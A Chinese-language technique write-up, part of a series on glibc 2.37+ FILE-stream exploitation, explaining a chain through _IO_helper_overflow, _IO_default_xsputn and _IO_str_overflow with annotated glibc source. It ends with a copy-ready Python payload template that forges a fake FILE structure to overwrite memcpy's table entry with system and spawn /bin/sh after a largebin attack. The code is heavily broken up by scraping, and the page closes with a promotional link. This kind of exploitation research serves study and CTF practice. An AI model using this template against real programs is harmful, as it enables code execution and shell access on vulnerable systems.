水了2篇,开始干点正事吧。
在上一篇中,我提出怎么控制size_t _IO_default_xsputn (FILE *f, const void *data, size_t n)
这个函数的三个参数呢?
一般来说这是很难做到的,因为如果能够3个参数都能控制,能做的事情就太多了,getshell
简直是手到擒来。所以,house_of_魑魅魍魉
与其说是一种攻击链,不如说是一种攻击思路,当IO中存在以下条件都可以继续挖掘,本人利用_IO_helper_jumps
中的内容也只是攻击手段之一,不是绝对手段。
memcpy、memmove
等内存覆写函数。本篇文章介绍的攻击主要是利用_IO_helper_overflow
在执行_IO_sputn (target, s->_wide_data->_IO_write_base, used)
时,3个参数均能控制,然后利用memcpy、memmove
等函数实现house of 秦关汉月
,其中一条链如下。
1
2
3
4
5
6
7
|
_IO_helper_overflow
/
/
FILE
*
target
=
((struct helper_file
*
) s)
-
>_put_stream;
int
used
=
s
-
>_wide_data
-
>_IO_write_ptr
-
s
-
>_wide_data
-
>_IO_write_base;
=
> _IO_sputn (target, s
-
>_wide_data
-
>_IO_write_base, used);
/
/
_IO_default_xsputn (
FILE
*
f, const void
*
data, size_t n)
/
/
s
-
>_wide_data
-
>_IO_write_base
=
=
s
=
> __mempcpy (f
-
>_IO_write_ptr, s, count);
/
/
f
-
>_IO_write_ptr
=
=
overflow 的地址,s 存储 onegadget
|
_IO_helper_jumps
虚表一般来说一类跳表只有一个,但_IO_helper_jumps
比较特殊,通过下面可以看出,跳表会根据COMPILE_WPRINTF
值不同而生成不同的,但libc
在编译时会调用两次,分别是正常字符和宽字符,所以我们可以在内存中看到两个_IO_helper_jumps
,每种各一个。其中,COMPILE_WPRINTF==0
先生成,COMPILE_WPRINTF==1
后生成。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
#ifdef COMPILE_WPRINTF
static const struct _IO_jump_t _IO_helper_jumps libio_vtable
=
{
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_wdefault_finish),
JUMP_INIT (overflow, _IO_helper_overflow),
JUMP_INIT (underflow, _IO_default_underflow),
JUMP_INIT (uflow, _IO_default_uflow),
JUMP_INIT (pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT (xsputn, _IO_wdefault_xsputn),
JUMP_INIT (xsgetn, _IO_wdefault_xsgetn),
JUMP_INIT (seekoff, _IO_default_seekoff),
JUMP_INIT (seekpos, _IO_default_seekpos),
JUMP_INIT (setbuf, _IO_default_setbuf),
JUMP_INIT (sync, _IO_default_sync),
JUMP_INIT (doallocate, _IO_wdefault_doallocate),
JUMP_INIT (read, _IO_default_read),
JUMP_INIT (write, _IO_default_write),
JUMP_INIT (seek, _IO_default_seek),
JUMP_INIT (close, _IO_default_close),
JUMP_INIT (stat, _IO_default_stat)
};
#else
static const struct _IO_jump_t _IO_helper_jumps libio_vtable
=
{
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_default_finish),
JUMP_INIT (overflow, _IO_helper_overflow),
JUMP_INIT (underflow, _IO_default_underflow),
JUMP_INIT (uflow, _IO_default_uflow),
JUMP_INIT (pbackfail, _IO_default_pbackfail),
JUMP_INIT (xsputn, _IO_default_xsputn),
JUMP_INIT (xsgetn, _IO_default_xsgetn),
JUMP_INIT (seekoff, _IO_default_seekoff),
JUMP_INIT (seekpos, _IO_default_seekpos),
JUMP_INIT (setbuf, _IO_default_setbuf),
JUMP_INIT (sync, _IO_default_sync),
JUMP_INIT (doallocate, _IO_default_doallocate),
JUMP_INIT (read, _IO_default_read),
JUMP_INIT (write, _IO_default_write),
JUMP_INIT (seek, _IO_default_seek),
JUMP_INIT (close, _IO_default_close),
JUMP_INIT (stat, _IO_default_stat)
};
#endif
|
helper_file
结构体不同的COMPILE_WPRINTF
所对应的helper_file
也有所不同,区别在于是否需要伪造struct _IO_wide_data _wide_data;
。
1
2
3
4
5
6
7
8
9
10
11
|
struct helper_file
{
struct _IO_FILE_plus _f;
#ifdef COMPILE_WPRINTF
struct _IO_wide_data _wide_data;
#endif
FILE
*
_put_stream;
#ifdef _IO_MTSAFE_IO
_IO_lock_t lock;
#endif
};
|
_IO_helper_overflow
这个函数在内存中也有2份。通过测试发现,如果使用COMPILE_WPRINTF==0
的情况,在攻击过程中s->_IO_write_base
会变成largebin->bk_size
指针,从而在largebin attack
时被强制修改从而无法控制。为了方便,我们使用COMPILE_WPRINTF==1
所生成的_IO_helper_overflow
。(第2个生成的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
static
int
_IO_helper_overflow (
FILE
*
s,
int
c)
{
FILE
*
target
=
((struct helper_file
*
) s)
-
>_put_stream;
#ifdef COMPILE_WPRINTF
int
used
=
s
-
>_wide_data
-
>_IO_write_ptr
-
s
-
>_wide_data
-
>_IO_write_base;
if
(used)
{
/
/
利用这个链,显然这三个参数我们都可控。
size_t written
=
_IO_sputn (target, s
-
>_wide_data
-
>_IO_write_base, used);
if
(written
=
=
0
|| written
=
=
WEOF)
return
WEOF;
__wmemmove (s
-
>_wide_data
-
>_IO_write_base,
s
-
>_wide_data
-
>_IO_write_base
+
written,
used
-
written);
s
-
>_wide_data
-
>_IO_write_ptr
-
=
written;
}
#else
/
/
如果使用这条链,_IO_write_ptr 将处于 largebin 的 bk_size 指针处
int
used
=
s
-
>_IO_write_ptr
-
s
-
>_IO_write_base;
if
(used)
{
size_t written
=
_IO_sputn (target, s
-
>_IO_write_base, used);
if
(written
=
=
0
|| written
=
=
EOF)
return
EOF;
memmove (s
-
>_IO_write_base, s
-
>_IO_write_base
+
written,
used
-
written);
s
-
>_IO_write_ptr
-
=
written;
}
#endif
return
PUTC (c, s);
}
|
通过上面函数可以清楚看出,在执行size_t written = _IO_sputn (target, s->_wide_data->_IO_write_base, used);
时
FILE *target = ((struct helper_file*) s)->_put_stream;
可控s->_wide_data->_IO_write_base
可控int used = s->_wide_data->_IO_write_ptr - s->_wide_data->_IO_write_base;
可控就达成了3个参数可控的要求,_IO_sputn
正是跳表中的_IO_default_xsputn
函数。
_IO_default_xsputn
执行此函数内要绕过的内容较多。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
size_t
_IO_default_xsputn (
FILE
*
f, const void
*
data, size_t n)
{
const char
*
s
=
(char
*
) data;
size_t more
=
n;
if
(more <
=
0
)
return
0
;
for
(;;)
{
/
*
Space available.
*
/
if
(f
-
>_IO_write_ptr < f
-
>_IO_write_end)
{
size_t count
=
f
-
>_IO_write_end
-
f
-
>_IO_write_ptr;
/
/
要 more > count,能再次返回执行 __mempcpy
if
(count > more)
count
=
more;
/
/
要 count >
20
if
(count >
20
)
{
/
/
利用此处实现 house of 借刀杀人,
/
/
修改 memcpy 的内容为setcontext
/
/
再次返回的时候就能够实现 house of 一骑当千
f
-
>_IO_write_ptr
=
__mempcpy (f
-
>_IO_write_ptr, s, count);
s
+
=
count;
}
else
if
(count)
{
char
*
p
=
f
-
>_IO_write_ptr;
ssize_t i;
for
(i
=
count;
-
-
i >
=
0
; )
*
p
+
+
=
*
s
+
+
;
f
-
>_IO_write_ptr
=
p;
}
/
/
要 more > count,能再次返回执行 __mempcpy
more
-
=
count;
}
/
/
绕过下面这一行,再次执行
for
循环的内容
if
(more
=
=
0
|| _IO_OVERFLOW (f, (unsigned char)
*
s
+
+
)
=
=
EOF)
break
;
more
-
-
;
}
return
n
-
more;
}
libc_hidden_def (_IO_default_xsputn)
|
需要绕过内容总结如下
- 需要 more > count,能再次返回执行
__mempcpy
- 需要 count > 20
- 第一次执行
__mempcpy (f->_IO_write_ptr, s, count);
时,
_IO_write_ptr
为__mempcpy
表项,- s 为要写入的内容。
- 再次执行
__mempcpy (f->_IO_write_ptr, s, count);
时
- 需要绕过
if (more == 0 || _IO_OVERFLOW (f, (unsigned char) *s++) == EOF)
,具体绕过方式下一节介绍。f->_IO_write_ptr
为 rdi,s 为 rsi ,count 为 rdx
_IO_str_overflow
执行此处需要绕过内容也比较多。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
|
int
_IO_str_overflow (
FILE
*
fp,
int
c)
{
int
flush_only
=
c
=
=
EOF;
size_t pos;
if
(fp
-
>_flags & _IO_NO_WRITES)
return
flush_only ?
0
: EOF;
/
/
需要进入来控制 fp
-
>_IO_write_ptr , _flags
=
=
0x400
if
((fp
-
>_flags & _IO_TIED_PUT_GET) && !(fp
-
>_flags & _IO_CURRENTLY_PUTTING))
{
fp
-
>_flags |
=
_IO_CURRENTLY_PUTTING;
fp
-
>_IO_write_ptr
=
fp
-
>_IO_read_ptr;
fp
-
>_IO_read_ptr
=
fp
-
>_IO_read_end;
}
pos
=
fp
-
>_IO_write_ptr
-
fp
-
>_IO_write_base;
/
/
不能进入,要让 _IO_blen (fp) ((fp)
-
>_IO_buf_end
-
(fp)
-
>_IO_buf_base) 足够大。
if
(pos >
=
(size_t) (_IO_blen (fp)
+
flush_only))
{
if
(fp
-
>_flags & _IO_USER_BUF)
/
*
not
allowed to enlarge
*
/
return
EOF;
else
{
char
*
new_buf;
char
*
old_buf
=
fp
-
>_IO_buf_base;
size_t old_blen
=
_IO_blen (fp);
size_t new_size
=
2
*
old_blen
+
100
;
if
(new_size < old_blen)
return
EOF;
new_buf
=
malloc (new_size);
if
(new_buf
=
=
NULL)
{
/
*
__ferror(fp)
=
1
;
*
/
return
EOF;
}
if
(old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/
*
Make sure _IO_setb won't
try
to delete _IO_buf_base.
*
/
fp
-
>_IO_buf_base
=
NULL;
}
memset (new_buf
+
old_blen,
'\0'
, new_size
-
old_blen);
_IO_setb (fp, new_buf, new_buf
+
new_size,
1
);
fp
-
>_IO_read_base
=
new_buf
+
(fp
-
>_IO_read_base
-
old_buf);
fp
-
>_IO_read_ptr
=
new_buf
+
(fp
-
>_IO_read_ptr
-
old_buf);
fp
-
>_IO_read_end
=
new_buf
+
(fp
-
>_IO_read_end
-
old_buf);
fp
-
>_IO_write_ptr
=
new_buf
+
(fp
-
>_IO_write_ptr
-
old_buf);
fp
-
>_IO_write_base
=
new_buf;
fp
-
>_IO_write_end
=
fp
-
>_IO_buf_end;
}
}
if
(!flush_only)
/
/
此处 fp
-
>_IO_write_ptr 自加
1
,所以之前要少
1.
*
fp
-
>_IO_write_ptr
+
+
=
(unsigned char) c;
if
(fp
-
>_IO_write_ptr > fp
-
>_IO_read_end)
fp
-
>_IO_read_end
=
fp
-
>_IO_write_ptr;
return
c;
}
libc_hidden_def (_IO_str_overflow)
|
需要绕过内容总结如下
- _flags == 0x400
fp->_IO_read_ptr
为再次执行__mempcpy (f->_IO_write_ptr, s, count);
的rdi-1
。(fp)->_IO_buf_end - (fp)->_IO_buf_base
要足够大,一般设置(fp)->_IO_buf_end == (1<<64)-1
即可。
又到了喜闻乐见的抄板子时刻,此套攻击模板相对复杂很多,而且写入内容也比较长。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
# largebin_attack 攻击 house_魑魅魍魉
# 为确保正确执行,需要利用 COMPILE_WPRINTF==1 的模式
fake_io_addr
=
heap_addr
+
0x1390
put_stream_offset
=
0x30
# put_stream 距离 fake_io 的偏移
put_stream_addr
=
fake_io_addr
+
put_stream_offset
write_target_addr
=
memcpy_addr
target_value_offset
=
0x200
# 需要执行的函数存储的地址距离 fake_io 的偏移
target_value_addr
=
fake_io_addr
+
target_value_offset
IO_wide_data_addr
=
fake_io_addr
+
0xe0
# len(IO_IFLE) 利用原有的宽字符
# 再一次执行到 memcpy时rdi的地址
rdi_offset
=
0xf
# 因为 _IO_write_ptr 会加1,此处确保内存对齐
rdi_addr
=
target_value_addr
+
rdi_offset
# more_len > count_len > 0x20 可以再次执行 memcpy
more_len
=
0x80
*
8
# 为什么 IO_help_jump_0_ 里面还要在右边移位2位??,参见10楼sky_123师傅解答。
count_len
=
0x28
# 要大于0x20
_flags
=
0x400
#_flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;
fake_io_file
=
b""
fake_io_file
=
fake_io_file.ljust(
0x20
,b
'\x00'
)
fake_io_file
+
=
p64(_flags)
# 此处是 put_stream 起始地址; _flags == 0x400 执行 fp->_IO_write_ptr = fp->_IO_read_ptr;
fake_io_file
+
=
p64(rdi_addr)
fake_io_file
+
=
p64(
0
)
*
2
fake_io_file
+
=
p64(write_target_addr
-
0x20
)
fake_io_file
+
=
p64(write_target_addr)
fake_io_file
+
=
p64(write_target_addr
+
count_len)
fake_io_file
+
=
p64(
0
)
# 用于绕过 if (pos >= (size_t) (_IO_blen (fp) + flush_only)) 不执行malloc
fake_io_file
+
=
p64((
1
<<
64
)
-
1
)
fake_io_file
+
=
p64(
0
)
*
2
fake_io_file
+
=
p64(heap_addr
+
0x2000
)
#可写
fake_io_file
+
=
p64(
0
)
*
2
fake_io_file
+
=
p64(IO_wide_data_addr)
fake_io_file
=
fake_io_file.ljust(
0xc8
,b
'\x00'
)
fake_io_file
+
=
p64(IO_help_jump_0_addr)
fake_io_file
+
=
p64(
0
)
fake_io_file
+
=
p64(heap_addr
+
0x2000
)
#可写
fake_io_file
+
=
p64(
0
)
fake_io_file
+
=
p64(target_value_addr)
fake_io_file
+
=
p64(target_value_addr
+
more_len)
fake_io_file
+
=
p64(IO_str_jumps_addr)
fake_io_file
=
fake_io_file.ljust(
0x1b8
,b
'\x00'
)
fake_io_file
+
=
p64(put_stream_addr)
fake_io_file
=
fake_io_file.ljust(target_value_offset
-
0x10
,b
"\x00"
)
# largbin_attak 时需要 - 0x10
fake_io_file
+
=
p64(system_addr)
+
p64(
0
)
# 此段长度为 0x10 与 rdi_offset 对应
payload
=
fake_io_file
+
b
'/bin/sh\x00'
|
更多【无路远征——GLIBC2.37后时代的IO攻击之道(四)house_of_魑魅魍魉】相关视频教程:www.yxfzedu.com